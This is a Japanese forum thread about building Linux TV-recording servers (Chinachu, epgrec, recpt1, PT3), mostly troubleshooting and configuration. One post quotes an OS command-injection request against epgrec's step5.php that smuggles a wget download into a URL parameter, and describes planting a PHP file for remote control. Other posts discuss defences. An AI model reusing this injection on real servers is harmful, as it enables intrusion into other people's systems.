と表示され、サービス起動しても、
$ ps aux | grep chinachu
でも見つからず、
$ sudo service chinachu-operator status
chinachu-operator is dead but /var/run/chinachu-operator.pid exists.
と表示され、サービスは止まってしまっているようです。
もう一度インストールから全部見直したいと考えております。
0156152
2014/02/20(木) 12:54:53.67ID:GZ2YG9Ocみなさんありがとうございました。
・やったこと
http://orebibou.blogspot.jp/2013/10/centoschinachu.html
このサイトを参考に導入していったのですが、うまくいきませんでした。
このサイトではchinachuの実行ユーザーを作り、スイッチした後、またrootに戻って、
その後の処理が全部rootで実行されているようです。
そこで公式の手順
https://github.com/kanreisa/Chinachu/wiki/Installation
と同じくchinachuからsudoして導入しなおすことにしました。
環境をもとに戻すため、chinachu-operatorとwuiを
chkconfigのdelオプションでサービスから削除しました。
次に/etc/init.d/のchinachu-operatorとwuiをrmで削除
最後にインストールしたChinachuをrmのrオプションで削除
そしてまずchinachuでsudoを使えるように、
chinachuにpasswdでパスワードを設定し
visudoコマンドで/etc/sudoersファイルを編集します。(このときsudoersのパスはいらない)
root ALL=(ALL) ALLの下に
chinachu ALL=(ALL) ALLを追加しました。
そして先ほどの導入案内のサイトのコマンドにすべてsudoをつけて実行したところ
うまくサービスも動き、
http://<サーバのIPアドレス>:10772
にもアクセスできました。
長文失礼しました。これから導入する人の参考になればいいかと思います。
0157login:Penguin
2014/02/20(木) 12:58:46.25ID:wz2W7nUxchinachu/log/配下のログは見てないの?
それとWebサービスはoperatorではなくwuiのほう。
まあ、operatorのプロセスも動いてないようだからそっちも問題だが。
0158login:Penguin
2014/02/20(木) 14:07:15.88ID:+y/xeKBp0159login:Penguin
2014/02/20(木) 15:00:16.69ID:GZ2YG9Ocはい、wuiの方も動いていませんでした
>>158
よく考えたらそうですね
sudoはrootで実行してるのと変わらないはずですよね
導入サイトの人、申し訳ない
サービスは実行できたんですが、今度はEPGが取得できないです
# ./chinachu update -f
20 Feb 14:51:30 - GETTING EPG.
20 Feb 14:51:30 - STATUS: { completed: 0, waiting: 9, worked: 0, running: 0 }
ですぐに終了してしまいます
recpt1はSTZ版使ってます。
recpt1 --device /dev/pt3video2 --b25 --strip --sid SID1 27 100 testrecpt1.ts
できちんとNHKを100秒間録画もできてます
いろいろ試して解決できたらここに報告しようと思います
0160login:Penguin
2014/02/20(木) 15:05:16.07ID:pKSigAZH0161login:Penguin
2014/02/20(木) 15:18:27.24ID:RVeYELjK0162login:Penguin
2014/02/20(木) 15:24:19.88ID:OLMILZAmオープンソース系の過去記事って
その時々の関連ソフトのバージョンに依存することが多く、
Liveでは役に立たない場合もあるから
0163login:Penguin
2014/02/20(木) 15:28:13.89ID:wz2W7nUxconfig.jsonで不要なtunersエントリとchannelsエントリは消した?
> 注意: chinachu-operatorはConfigurationを完了させてから起動してください
これに従ってれば出来てるはずだけど^^;
0164login:Penguin
2014/02/20(木) 16:26:40.96ID:GZ2YG9Oc{
:(省略)
"tuners": [
{
"name" : "PT3-T1",
"isScrambling": false,
"types" : [ "GR" ],
"command" : "recpt1 --device /dev/pt3video2 --b25 --strip --sid <sid> <channel> - -"
}
],
"channels": [
{ "type": "GR", "channel": "27"}
]
}
こんな感じでチューナー地上波1つだけ、チャンネルNHKだけにしてもダメでした。
0165login:Penguin
2014/02/20(木) 16:32:00.93ID:wz2W7nUxチューナーのlockファイルが作成されたままとか
chinachu/data/tuner.*.lock
手動で削除するか、chinachu unlock
0166login:Penguin
2014/02/20(木) 16:41:20.80ID:GZ2YG9Ocありがとうございます。
できました。
あからさまにいろんなサイトに書いてあったのにPT2のことだろうと高をくくってたのが間違いでした。
親切に何度もアドバイスしていただいてありがとうございました。
0167login:Penguin
2014/02/20(木) 16:58:33.11ID:GZ2YG9Occonfig.jsonの編集しないと、デバイスIDがロックしてしまうのは、PT3も例外じゃなくて、
config.sample.jsonにはtunerのところにPT3のほかにFSUSB2も入っているので、
PT3を使っていてもロックしてしまうのか・・・
しかも一度ロックしたらアンロックしないと再起動等しても二度と元に戻らないのか
0168login:Penguin
2014/02/20(木) 17:01:34.16ID:BeqqS/T9随分前に報告されて修正済のはずのバグで同じようなのがあるね
Bug 592349 - atd jobs are executed delayed after wakeup from suspend-to-RAM
https://bugzilla.novell.com/show_bug.cgi?id=592349
regressionなら上流に報告した方がいいような気がする
0169login:Penguin
2014/02/20(木) 21:02:26.01ID:nD5gcWj8同様の症状に悩まされたので,レジューム後にrebootして対応してた.
atdを再起動する方がスマートなのでやってみたらうまくいった.
S4からしか復帰できないマシンではこの方法が有効みたいだね.
ありがとう.
0170login:Penguin
2014/02/22(土) 12:29:19.50ID:Z4whPa0g0171login:Penguin
2014/02/22(土) 12:42:11.02ID:M9IcI01h0172login:Penguin
2014/02/22(土) 13:28:44.21ID:KWgA+Zib0173login:Penguin
2014/02/22(土) 13:49:16.40ID:/1QUgAaDもちろんwindowsのアプリもだよ
そういえばchinachuは被害でてるのかな?
自身に認証機能があるから大丈夫なんだろうか
>>172
日本のIP総当り
0174login:Penguin
2014/02/22(土) 14:30:39.48ID:RImL/fUzエラーレスポンスの内容やラグの差異だけで鯖種別は高精度にバレるらしい
>>173
chinachuはnode.jsに乗っかってssl通信だから
node.jsの堅牢性(実績はほとんどないが…)次第だな
0175login:Penguin
2014/02/22(土) 14:38:08.55ID:NLDbFnE2videoparse format=i420 width=1920 height=1080 framerate=30/1 ! vaapiencode_h264 ! \
qtmux ! filesink location=test.mp4
動いたよー。
ivy なんだけど動かない人はCeleronな人です。
ivy Core i3 IHYしてきたよー。
0176login:Penguin
2014/02/23(日) 00:38:59.94ID:V9AtILcR外部公開してるなら脆弱性突かれたりするかもね
(…そもそも外部公開するのが間違いだが)
0177login:Penguin
2014/02/23(日) 00:58:24.22ID:3O5p5FUo0178login:Penguin
2014/02/23(日) 01:20:55.22ID:nMvAnbvAOSコマンドインジェクションをPHPのせいみたいに書くのはどうかと思うな
アプリ側の実装が悪いせいなのにね
0179login:Penguin
2014/02/23(日) 01:29:20.05ID:3aa5Ap8T0180login:Penguin
2014/02/23(日) 01:41:20.28ID:3O5p5FUo0181login:Penguin
2014/02/23(日) 01:55:40.23ID:6jrWPz2Sepgrecは管理画面とか関係ないでしょ。
そもそも外部公開を考慮されてないから、外からでも実行ファイル改変が容易になってる。
0182login:Penguin
2014/02/23(日) 02:48:59.38ID:3aa5Ap8T0183login:Penguin
2014/02/23(日) 09:20:57.42ID:+vNxibz1Linuxに脆弱性が無いので、PHPが悪いと思います。
0184login:Penguin
2014/02/23(日) 11:05:28.28ID:bGKyp/dp論点ずれてるぞ
0185login:Penguin
2014/02/23(日) 13:52:19.24ID:2C0q49Oq「PHPのせい」って言ってるのかな。
個人的には「PHPのせい」っていうと、処理系・実行環境の脆弱性を
指してるものだと感じるけどw
0186login:Penguin
2014/02/23(日) 14:23:39.78ID:kCy6btiQゴルフカートで一般道走って安全性に問題があると言われているようなもの
0187login:Penguin
2014/02/23(日) 14:59:53.46ID:6jrWPz2Sまあそういうことだ。
ただ、そういうことが分かんない層がLinuxを使い始めてるってことも現実なのかもしれない。
とすると、それなりに対応を取っておくほうがいいかもしれないとは思う。epgrecとかが叩かれないためにはね。
別に難しいことじゃない。
設定画面の最初に、「外部に直接公開されますので、認証をかけるか、ポートを遮断して下さい」と注意喚起しておくだけでいい。
0188login:Penguin
2014/02/23(日) 15:15:02.01ID:sw+Hz6p+LANの外に出さないようにってしといたほうがいい
まぁそれ以前にLinuxでっていう問題って話もあるけど・・・
0189login:Penguin
2014/02/23(日) 15:24:02.58ID:6jrWPz2Sそりゃ違うだろ。
川の水を汲んで使っても問題にならなくても、ドアで区切られた私有地の池の水を汲んで使っちゃいけない。
ドアが頑丈かどうかは関係ない。
0190login:Penguin
2014/02/23(日) 15:43:22.72ID:5njkYWHQ>>45-46みたいな事があるからセキュアじゃなきゃ使えないようにしなきゃね
著作物を扱うんだからユーザーをいろんな意味で信用しちゃダメだよ
0191login:Penguin
2014/02/23(日) 15:50:36.65ID:6jrWPz2STV録画したBlurayDiscを家の外の物置に置いておいて盗まれたら、置いた人間の責任だろうか?
0192login:Penguin
2014/02/23(日) 16:26:49.42ID:q+unEWQzここでやるのすげー無意味じゃね
0193login:Penguin
2014/02/23(日) 16:28:11.69ID:rO/K4Cxj0194login:Penguin
2014/02/23(日) 23:25:27.36ID:Li5CEq7v0195login:Penguin
2014/02/24(月) 00:11:48.32ID:C0UU+8KHどうやったら実行できるんだろう(実際侵入例あるから、何らかのやり口があるのは理解してる)
0196login:Penguin
2014/02/24(月) 01:01:45.38ID:SvUiem2S>>46
0197login:Penguin
2014/02/24(月) 01:37:27.53ID:C0UU+8KHなるほど、みたとこ公開部分にありそうな.phpファイル適当に探して任意のコード実行してる感じか
PHPってこんなことできるんすね〜(ゲス顔)まあPerlも同じようなことできるか…
Javaだと頑張らないとこういうことはできんのだけど
対策としては外部から受け取ったコマンドを一度サニタイズしてやる必要がある感じですか
一発目でこのコマンド通ったら、あとは外部から操作するための a.php 置けばいじり放題ですな(wgetで置くのか)
GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home…
0198login:Penguin
2014/02/24(月) 04:44:20.45ID:pxOXDkecUbuntu13.10とIODATA GV-MVP/RX2使って
CATVパススルーで地上波観ようとしてるんですが
v4l2コマンドやivtv-tuneコマンドでひと通り設定して
mplayerで再生しても、砂嵐+ノイズ状態です。
何故か95MHz前後でNHK-FMが聴こえたり。
RX3/on Windowsではちゃんと映ってたので
電波は来てるはずなのですが。
解決方法ありませんでしょうか?
0199login:Penguin
2014/02/24(月) 05:13:15.63ID:OtskWUo50200login:Penguin
2014/02/24(月) 06:48:30.79ID:ncNxCeg6周波数あってんならチューナー指定に問題あるんじゃね
0201login:Penguin
2014/02/24(月) 08:47:51.35ID:VBfVdpgKネタかと思ったらマジだった!
使い勝手良くなったね!
>>197
ttp://falconws.blogspot.jp/2014/01/epgrec.html
0202login:Penguin
2014/02/24(月) 14:19:43.22ID:uizzjhke0203login:Penguin
2014/02/24(月) 15:23:29.43ID:gSmlv+nhOSコマンドインジェクションは言語関係ないんだよ
どの言語で作ってようが、shellに値を渡す部分でサボってるとやられる
0204login:Penguin
2014/02/24(月) 19:18:41.08ID:2uCR+DkZtsselect-linux をcentos32bit で使う場合はこうだ
改行多すぎって言われたので分けるぜ
@@ -1,3 +1,5 @@
+#define _LARGEFILE64_SOURCE
+#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@@ -6,10 +8,10 @@
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
+#include <unistd.h>
#define __int64 int64_t
-
typedef struct {
int pid;
0205login:Penguin
2014/02/24(月) 19:19:22.81ID:2uCR+DkZgoto LAST;
}
- lseek64(fd, 0, SEEK_END);
- total = lseek64(fd, 0, SEEK_CUR);
+ total = lseek64(fd, 0, SEEK_END);
+ //total = lseek64(fd, 0, SEEK_CUR);
lseek64(fd, 0, SEEK_SET);
stat = (TS_STATUS *)calloc(8192, sizeof(TS_STATUS));
@@ -458,8 +460,8 @@
goto LAST;
}
- lseek64(sfd, 0, SEEK_END);
- total = lseek(sfd,0,SEEK_CUR);
+ total = lseek64(sfd, 0, SEEK_END);
+ //total = lseek64(sfd,0,SEEK_CUR);
lseek64(sfd, 0, SEEK_SET);
offset = 0;
0206login:Penguin
2014/02/24(月) 21:34:15.10ID:KckVOifoJVM 言語はその機能を JVM にわざわざ持ち込む(再実装する)文化が
ほか言語より強いので、他言語に比べるとシェルを経由する機会が少ない感じはある。
でも結局、Java で録画システム作るってなると、お手軽さからシェル経由する
実装になりそうだけど。
0207175
2014/02/24(月) 22:06:42.05ID:vr3QYziQ空気を読まずに一人で続き。
音声含めてリアルタイムエンコードしたい場合はこんな感じ。
$ recpt1 --b25 --sid=101 101 101 - | gst-launch-1.0 fdsrc ! tsdemux name=d d. ! \
video/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! videoparse format=i420 width=1920 height=1080 framerate=30000/1001 ! \
vaapiencode_h264 ! m. d. ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-format=raw ! \
matroskamux name=m ! filesink location=test.mkv
で、これでエンコードしちゃうと動画と音声が同期しなくなる。0.3秒ぐらい音声と動画がズレる。
動画と音声ストリームのそれぞれきちんと頭出ししてからエンコードしてあげなければならない。
TSパーサはずいぶん前に書いた気がするんだけど、TSストリームでの頭出しできるコードを書きますかね。
0208login:Penguin
2014/02/25(火) 00:05:22.37ID:hKg2K+RLGV-MVP/RX2Wならずいぶん昔にFedoraやCentOSでつかってたけど、
その頃はドライバにパッチあてて、/etc/modprobe.confに
option ivtv tuner=46 ntsc=j
だったか入れないとだめだったはず
とりあえず、
sudo rmmod ivtv
sudo modprobe ivtv tuner=46 ntsc=j
を実行してから、mplayerで再生するとどうなる?
0209login:Penguin
2014/02/25(火) 00:54:24.07ID:z9E+HSZQUbuntuフォーラムにも投稿したんだけど
Ubuntu12.10にダウングレードしたら普通に使えました。
Ubuntu13.10だと、$ v4l2-ctl --list-standardsでNTSC-M-JPがどうしても出てこない。
それが原因っぽいです。
0210login:Penguin
2014/02/25(火) 02:33:16.76ID:2dHIcmc2かつて使ってた人だって環境も記憶もないところへ、新しいシステムへの対応とか
雲を掴むような話でしょ
0211login:Penguin
2014/02/25(火) 14:22:37.06ID:Rg/uwwO/gstreamerって各バッファ(フレーム)にタイムスタンプ付けてるし
以前パッチ当てgstreamerでdvbbasebinをソースに使って(再muxのみの)テストした時はズレてなかったよ
recpt1からPMTやPCR渡ってるのかな
recpt1からそのまま全体で入力して tsparse program-numbers=xxx !.... とかだとPMTもPCRも渡るはず
それに videoparse format=... のエレメントって
mpeg2decがフレームフォーマットをバッファのcapsとしてくっつけてるはずだから不要なんではないか
0212login:Penguin
2014/02/25(火) 21:49:55.99ID:HOT2vkLs> Java で OS コマンドインジェクション起きにくいってのはわからなくはないなw
「外部プロセス呼び出し」と「シェル経由で外部プロセス呼び出し」は別物だよ。
プロセスをopenしたりするときに"|"を使ってリダイレクトできる便利な方がシェル経由。
まず、OSコマンドインジェクションが言語関係ないというのは一応正しい。
確かにシェル経由で外部プロセス呼び出しを行っているならば言語は関係ない。
どの言語でも危険。注意して使わないといけない。
だけど違いはシェル経由ではない外部プロセス呼び出しにあって
こちらならOSコマンドインジェクションは発生しない
なのでなるべくシェル経由でない方を使った方がいいわけだがここで差が出てくる。
JavaだとLinuxで動かすとは限らないから、シェルの機能に依存しないように作る。
だからシェル経由でない外部プロセスを使うことのほうが多い。
故にOSコマンドインジェクションになりにくい。
そしてPHPはシェル経由ではない外部プロセス呼び出し機能がない。
この場合しっかりエスケープする必要があって、これを忘れるとOSコマンドインジェクションになる。
よってOSコマンドインジェクションになりやすい。
徳丸浩の日記 PHPだってシェル経由でないコマンド呼び出し機能が欲しい
http://blog.tokumaru.org/2013/12/php_21.html
0213login:Penguin
2014/02/25(火) 22:24:57.75ID:Xo6tXI3Iレスさんくす
recpt1からPMTやPCRは渡してますよ。でもズレる
tsparse program-number=999 ! でやってみましたが、これでもズレます。
videoparse format= のエレメントは付けないとパイプラインが動かないのです。
ERROR: pipeline doesn't want to preroll.
が出てしまう。
本来であれば不要なはずなのですかね。
0214login:Penguin
2014/02/26(水) 12:41:23.14ID:sR5FDHsuvideo/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! theoraenc bitrate=1024 drop-frames=false ! m. \
d.audio ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-fromat=raw ! \
matroskamux streamable=true name=m ! filesink location=foo.mkv
だとズレてないね... (パッチ当てgstreamerでdefaultの"video","audio" srcpadを使ってるけど)
TVをLIVEで入力するとズレちゃうのか
(レイテンシの絡みで?)vaapiでエンコする時にタイムスタンプいじられちゃうのか
0215login:Penguin
2014/02/26(水) 20:36:55.16ID:mfb4M/jaそれがわかってるならなぜ「外部プロセス呼び出し」の話を出したんだろう。
その前見ても外部プロセス呼び出しの話はしてないと思うんだが。
epgrec の件を見るに、PHP にも外部プロセス呼び出しほしいですね
っていう話だけなら、その通りだとは思うけど... なぜ俺のレスにつけたんだw
0216login:Penguin
2014/02/27(木) 02:03:41.07ID:9USAFaDwなかなかイイね。
番組表も新聞形式になって、
直感的に使いやすい
でも録画番組の再生に関しては
今のところはPCのWebブラウザ操作を前提としてて、
スマホやタブレットではまともに再生できないような気がする
この辺りは流石に商用のfoltia ALの作り込みは良くできてる
スマホやタブレットからでも再生できるし
DLNAによるSTBやTVからの再生も
実用的に使いやすくなってる
chinachuの番組表、予約インターフェイスと
foltia ALの再生環境が組み合わされば最強と思えるが
使ってる技術が違いすぎて困難だよなぁ
0217login:Penguin
2014/02/27(木) 07:43:29.01ID:C1ptvHMZおらのスマホはそれで見れるんだが。
0218login:Penguin
2014/02/27(木) 08:25:11.85ID:LgbQ+803>スマホやタブレットではまともに再生できないような気がする
SMB共有かけてファイルブラウザから見るとか、miniDLNAとかTwonkyServerの類を突っ込めばええだけでね?
0219login:Penguin
2014/02/27(木) 11:04:50.41ID:9USAFaDwchinachuはmp2tsをrecordedフォルダに格納していくだけなので
MPEG2 TSデータを直接再生できるスマホやタブレットじゃないとダメで
少なくともiOS機ではできない
単純に単一フォルダにファイルを置いていくだけだから
このフォルダをDLNAやSMBで公開しても、
最初は使えるけど、
録画ファイルが増えてくと、
探すのが大変になるし、
DLNAの場合はリスト表示に時間がかかるようになる
foltia ALは録画後に携帯端末で再生できるmp4にエンコしてくれるし、
DLNAやSMBで再生しやすいように
日付やタイトル毎に階層構造で表示するので
ストレスなく使えるようになってる
foltia ALは中のスクリプトはゴチャゴチャだけど
ユーザ視点で使いやすい再生環境にはなってる
0220login:Penguin
2014/02/27(木) 11:35:33.49ID:chvQqe4c0221login:Penguin
2014/02/27(木) 11:36:59.47ID:chvQqe4c0222login:Penguin
2014/03/02(日) 10:26:08.52ID:OLjNztd+0223login:Penguin
2014/03/02(日) 11:28:19.19ID:QiErUlUU0224login:Penguin
2014/03/02(日) 13:51:41.92ID:QOjDZ+Bt0225login:Penguin
2014/03/02(日) 15:59:41.10ID:lGTJnogs作者はよくこれを管理できるな。素直に感心する。
0226login:Penguin
2014/03/02(日) 20:56:15.57ID:YvLVGd0rApple HTTP Live Streamingに対応してるよChinachuは
0227login:Penguin
2014/03/02(日) 21:15:11.31ID:KaCPhf0wたとえばMXの「凪の明日から」→「ソードアートオンライン」という番組編成で、
ソードアートオンラインをChinachuを通しrecpt1コマンドで予約録画すると
Tvtest上部の番組名が「凪の明日から」から変わらないのに対し、
WindowsPCでECDBで録画し、録画した番組を見ると
番組前のCMでは番組名は「凪の明日から」
↓
23:30から「ソードアートオンライン」が始まると、
番組名が「ソードアートオンライン」に変わる
となる
これはたぶんECBDは放送波に含まれるEPGデータもセットで録画できるのに対し、
recpt1だとEPGデータはうまく録画できないから?(番組表更新のためのEPG受信はうまくできてます。)
他にも番組情報(EPGデータ)を使ったソフトを使用しているので、
recpt1で番組情報を正しくtsファイルに保持したまま録画したい。
LinuxはCentOS6.5 64bitでrecpt1はSTZ版を使用
0228login:Penguin
2014/03/02(日) 21:40:02.65ID:YvLVGd0r0229login:Penguin
2014/03/03(月) 00:03:32.68ID:hxhc1A2qTvtplayってプラグイン使えばできる。
https://github.com/xtne6f/TvtPlay
【TVTest】 TvtPlayについて語るスレ Part 3
http://toro.2ch.net/test/read.cgi/avi/1385986890/
0230login:Penguin
2014/03/03(月) 00:55:10.06ID:6a3eupsQrecpt1 単体で試してみたら
0231login:Penguin
2014/03/03(月) 01:08:13.53ID:iRoop0Y9PIDは--sid epgにしたとき保存対象になる中のどれか。
0232227
2014/03/03(月) 03:07:33.55ID:hxhc1A2q>>231
ありがとうございました。
できました。
SIDってそういう意味だったのか・・・
--help見ても英語で
SIDでググってもCSのチャンネルの話しかなくて見落としてました。
0233login:Penguin
2014/03/03(月) 17:20:29.03ID:4g83Q5Brしばらく使ってなかったのをupdateして試してみたんだけど前と変わってない。
新しい番組表にするにはどうすればよいでしょう?
0234sage
2014/03/03(月) 20:03:49.39ID:ivM43Bs7解決方法知っている方、いませんか。
023583
2014/03/03(月) 20:10:50.08ID:DVmbj1dHconfig.json、rules.jsonやdata/ をバックアップしといて
インストールし直せば?
ウチも番組表の表示変わったってことで、
新規にインストールし直した。
config.json、rules.jsonは古いChinachuから流用してちゃんと動いてる。
もちろん番組表の表示も変わった。
結構いい感じ。
あとはiosからのライブ視聴が
ちゃんと動いてくれれば...
0236login:Penguin
2014/03/03(月) 21:19:53.62ID:8DCe2auhいけますた
こっちは取れてる気がする
どこか設定でもいじったんじゃないの?
0238login:Penguin
2014/03/03(月) 21:57:26.94ID:WNCwc8ntubuntu12.04(PHP5.3.10 MySQL5.5.35)では出てないよ
ログみてりゃもっと早くわかったと思うんだが
どうにもならなくなってから相談してたらあかんでしょ
録画に支障が出るだろうに
0239login:Penguin
2014/03/03(月) 22:20:00.79ID:4PdbZfyb俺が以前UNA使ってた時に、EPG取得用テンポラリファイルがいつの間にか溜まりまくって
システムHDDがいっぱいになったせいでEPGが新規に取得出来なくなったことがあるんだけど、
その辺は大丈夫?
0240login:Penguin
2014/03/03(月) 23:24:24.48ID:3g7vwp5Dブラウザキャッシュとか?
Chrome だと、強制リロード S-C-r でも、js 経由で読むデータのキャッシュは
破棄されないから、developer tool の操作でキャッシュ破棄する必要ある。
同じ症状出ててた
PC壊れて再インストールしたばかりだったので
cronで読んでる番組更新のPHPが
今の階層にあってなかったという落ちでしたが
最初の番組取得では正常だったので気がつかなかった
0242login:Penguin
2014/03/04(火) 01:04:55.06ID:kV6jhNUpログとかはどうなのよ
0243login:Penguin
2014/03/04(火) 19:46:17.91ID:xX5y1T4WChinachuで使わない番組表だけ無効にできます?
0244234
2014/03/04(火) 22:18:10.75ID:E0i5kteKDBを一回削除して、様子見たんですがだめでした。
その後、Ubuntu のPHPセキュリティアップデートが今日出たので
それを適用して、更新したらEPG情報が取れるようになりました。
ありがとうございます。
0245login:Penguin
2014/03/09(日) 23:40:23.78ID:Pqboft5pISDB-Sの視聴に成功したようです。
詳しくは、@wikiで
ttp://www43.atwiki.jp/mythtv-dvb/
0246login:Penguin
2014/03/10(月) 00:05:35.26ID:E8/VysdB0247login:Penguin
2014/03/10(月) 00:05:40.14ID:NPT1K+yt0248login:Penguin
2014/03/10(月) 00:59:19.63ID:cvO/P/MUずっと前にEDEN の PCと アナログTVカードでやってみたきりだったな
試してみようかな
0249login:Penguin
2014/03/15(土) 11:46:26.68ID:uisk12lk元に戻したいけどconfig.jsonで変更する項目がみつからない・・・
あとEXって項目あるけど、LinuxでISDB-S2受信できてる奴いる?
TBS-69xxxシリーズでJSAT-3a,4b掴もうとしても引っかかりもしないw
0250login:Penguin
2014/03/15(土) 13:14:48.55ID:W28e8CoWChinachuの人が何か作ってるよ
https://github.com/kanreisa/szap-s2j
0251login:Penguin
2014/03/18(火) 01:38:01.78ID:0UYyqp4fどうしてもコンパイルが通らないのですが・・・
(開発環境をインストールしていないという初歩的なミスではない)
ちなみに使いたいカードは、MonsterTV HDP2という古いカード
マイナーすぎてLinuxでの使用レポートが少ないっ
0252login:Penguin
2014/03/18(火) 06:39:10.53ID:Q5DLEepS0253login:Penguin
2014/03/18(火) 11:47:31.13ID:7DqZkBZkどこで通らないとか
コンパイルのエラーメッセージはなんだとか
自分で試したことは何か
何も情報出さないのにどうアドバイスすればいいんだよ
で、アドバイスするとそれはもう試しましたとか言うんだろ
勘弁してくれよw
0254login:Penguin
2014/03/18(火) 14:50:58.30ID:YCLg7d3b現在ubuntu 12.04 /PT3/Gemalt USBカードリーダ epegrec にて録画環境構築しています。
サーバを起動(再起動)かけてしばらくの間は問題なく録画できる状態なのですが、
どこかのタイミングでUSBデバイスが認識できなくなってしまいます。
このタイミングが明確にわからないのですが(syslog探ってもトリガーがわからない)
1〜2日ぐらいでUSBのpcscリーダ自体が認識されなくなります。
試しにサービスのリスタート(service pcscd restat) をかけると
Mar 18 14:01:35 XXX pcscd: ccid_usb.c:499:OpenUSBByName() Can't claim interface 3/2: -6
Mar 18 14:01:35 XXX pcscd: ifdhandler.c:102:IFDHCreateChannelByName() failed
Mar 18 14:01:35 XXX pcscd: readerfactory.c:965:RFInitializeReader() Open Port 0x200000 Failed (usb:08e6/3437:libudev:0:/dev/bus/usb/003/002)
Mar 18 14:01:35 XXX pcscd: readerfactory.c:275:RFAddReader() Gemalto GemPC Twin (4CE36E9F) init failed.
Mar 18 14:01:35 XXX pcscd: hotplug_libudev.c:377:HPAddDevice() Failed adding USB device: Gemalto GemPC Twin
これを吐いて認識できなくなるようです
ただし、頻度は高くないですがたまに問題なくサービスがリスタートできる時もあります。
カードリーダ周りで入っているパッケージは
ii libccid 1.4.5-1
ii libpcsclite1 1.7.4-2ubuntu2
ii pcsc-tools 1.4.18-1
ii pcscd 1.7.4-2ubuntu2
こんな感じです。
全く認識されないとかいうケースはググっても結構出てきますが、稼働中に認識できなくなるっ
ていうケースが少ないのか
ヒットしません。
よろしくお願いいたします。
0255login:Penguin
2014/03/18(火) 22:22:13.93ID:oMtlMuP3稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
24H電源入れっぱなしで4年弱のころで4個交換して復活した
0256login:Penguin
2014/03/18(火) 22:35:54.19ID:ue/vwGVTソース見るしかないんじゃね
原因がハード由来なら見ても意味ないんだけど
0257255
2014/03/18(火) 22:43:12.18ID:oMtlMuP3ttp://www1.axfc.net/u/3197864.jpg
0258login:Penguin
2014/03/19(水) 00:40:15.24ID:NAhchBGZじゃないとスレ違いだから
0259login:Penguin
2014/03/19(水) 10:12:20.05ID:QxrA/BI7> >>254
> 稼働中にUSBデバイス見失う状況はマザボの電解コンデンサが妊娠状態になって発生したことがある
> 24H電源入れっぱなしで4年弱のころで4個交換して復活した
>>256
>ソース見るしかないんじゃね
> 原因がハード由来なら見ても意味ないんだけど
ありがとうございます。
なるほど、そっち(コンデンサ)の可能性もあるんですね。
マザボの方の問題とは思っても見ませんでした。
今度マザボのコンデンサ自体を見てみます。
コンデンサの写真まで掲載してもらってありがとうございました。
ドライバのソースは一応見てみたんですが解決できるほどの知識がなくそっちはお手上げっす。
マザー起因だと面倒すねぇ、、DN2800気に入ってるんですが。
0260login:Penguin
2014/03/19(水) 13:28:06.65ID:J5MqdN5LあとUSBポートの変更は当然やってるあるな?
0261login:Penguin
2014/03/19(水) 17:23:25.63ID:l+NYviVbDN2800MT?
黄色いほうのUSBに刺してる?
黒い方は容量足りなくなる事あるよ。
0262login:Penguin
2014/03/19(水) 19:28:57.22ID:QxrA/BI7>>260
>>261
ありがとうございます。
USBポートの変更はやっとります。
ただ、真ん中の黄色い方を意識して使ってたか記憶が定かじゃないのでやってみます!
ついでに背面のポート以外にオンボード上の9pinにもためしてもやってみます。
ACアダプタのほうは考えても見ませんでした。
そういやコンデンサが怪しいんじゃない?っていう話をうけて仕事しながら
なんとなく考えていたんですが、どこかでDN2800MTってUSBのバスパワーが
不安定だって記事を見た覚えがあるんですよね。
なんで、セルフパワーのUSBハブかましてみようかと思います。
ずっとドライバの問題か?と疑ってたので物理方面で
当然確認するべきことを失念していて恥ずかしい限りです。
ありがとうございます。
0263login:Penguin
2014/03/21(金) 14:24:17.72ID:jt99ZH7x映像は普通に再生しますが、音声だけスロー再生になってしまいます。
/etc/modprove.d/options.conf に
oprions ivtv cardtype=13 tuner=46 ntsc=j
としてGV-MVP/RXとして認識させて
v4l2-ctl -d /dev/video0 -i 1 -s 2
aplay --buffer-time=0 -f dat < /dev/video24 &
mplayer -framedrop -nocache /dev/video32 -demuxer rawvideo -rawvideo ntsc:hm12:fps=29.97 -vf pp=l5 -aspect 4:3 -vo gl && killall aplay
として再生しています。
音声がスローにならないようにするにはどうすればいいのでしょうか?
0264login:Penguin
2014/03/21(金) 19:26:20.88ID:jt99ZH7x試しに別にインストールしていたXubuntu12.04の方は普通に再生できたので
Lubuntuに原因があるのかも知れません。
Radeon7500を使ってるのですが、MPEG2再生支援が効かないみたいでCPU使用率が高いです。
再生支援を効かせる方法はあるのでしょうか?
0265login:Penguin
2014/03/21(金) 19:56:12.67ID:Heg0938J0266263
2014/03/22(土) 12:57:12.62ID:Y/i2UT8/0267login:Penguin
2014/03/23(日) 10:47:30.55ID:yiZLexYFkernel の DVB コードって MTVHD の DVB 版が開発された頃とかなり変わって
いるので、自力で何とかしないとダメな気がする。
自力できないなら、CentOS とか古いカーネルのディストリ使うしか…
0268login:Penguin
2014/04/03(木) 21:25:58.45ID:OmryEff3で、ひとつ削除すると既存予約状態が解除されてしまう
ソース見てないけど、登録前にチェックしてないのかな
0269login:Penguin
2014/04/04(金) 01:15:27.94ID:MDopI1hXもしくは二枚差しのどちらかをDVBとmythtvで使いたいんだが、今のアップストリームの0.27って対応してあるのかな?
0270login:Penguin
2014/04/04(金) 01:18:44.50ID:SZUmO7S10271login:Penguin
2014/04/04(金) 01:28:26.85ID:KPSi74HF0272login:Penguin
2014/04/04(金) 02:08:11.18ID:2IUJI7VT0273login:Penguin
2014/04/05(土) 10:54:12.10ID:0ZK6Blt9↓のpt1_dev.hとrecpt1.hに対する変更がPT3対応。デバイス名指定しなくても勝手に探してくれる
ttp://hg.honeyplanet.jp/pt1.oyama/rev/5eab7c73a28a
0274login:Penguin
2014/04/05(土) 16:47:17.90ID:pPmK40tK0275login:Penguin
2014/04/06(日) 01:07:42.02ID:dtMmoLaEANIMELOCKERと同程度以上の録画/視聴環境を手軽に構築できるフリー環境のオススメってありますか?
0276login:Penguin
2014/04/06(日) 01:30:18.00ID:bemTgdsX「同等以上」というのは難しいんじゃないかねぇ
0277login:Penguin
